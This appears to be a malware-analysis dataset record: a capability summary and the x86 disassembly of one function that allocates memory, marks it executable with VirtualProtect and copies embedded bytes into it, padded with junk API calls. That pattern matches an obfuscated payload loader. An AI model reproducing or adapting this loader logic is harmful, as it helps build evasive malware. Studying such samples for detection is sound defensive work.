Function at 0x402fe5
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x18e4
call fcn.004094b0
push ebx
push esi
xor esi, esi
cmp dword [0x2ac0018], 0x5b1
push edi
jne 0x403084
push esi
push esi
lea eax, [esp + 0xf8]
push eax
push esi
push esi
call sub.USER32.dll_DdeQueryStringA
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x8f8]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0x4029f0
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromCLSID]
push esi
push esi
call fcn.004033f3
push esi
call fcn.004033c4
push esi
call fcn.004033fe
add esp, 0x10
add dword [0x2ac0018], 0x1134b
push dword [0x2ac0018]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x38]
push ecx
push 0x40
push dword [0x2ac0018]
mov dword [0x2abef6c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x2ac0018], esi
jbe 0x4030ef
cmp dword [0x2ac0018], 0xa8
mov eax, dword [0x2ac001c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2abef6c]
mov byte [ecx + edi], al
jne 0x4030e6
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc edi
cmp edi, dword [0x2ac0018]
jb 0x4030be
xor ebx, ebx
mov eax, dword [0x2ac0018]
add eax, ebx
cmp eax, 0xe
jne 0x4031b8
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push esi
lea eax, [esp + 0x8f4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push 0x402a98
push esi
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push 0x402af0
push 0x402b68
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x10f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0xcf4]
push eax
push esi
lea eax, [esp + 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
lea eax, [esp + 0x4f8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc ebx
cmp ebx, 0x39621
jl 0x4030f1
call fcn.00402ed3
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x4031dd
call fcn.00402fcb
inc edi
cmp edi, 0x6753f
jl 0x4031cc
push 0x7b
pop ebx
cmp dword [0x2ac0018], 0x86
jne 0x403248
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
xor eax, eax
mov word [esp + 0x28], ax
lea edi, [esp + 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [esp + 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x2ac0018], 0xf
jne 0x40325d
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
dec ebx
jne 0x4031e9
call fcn.00402c90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret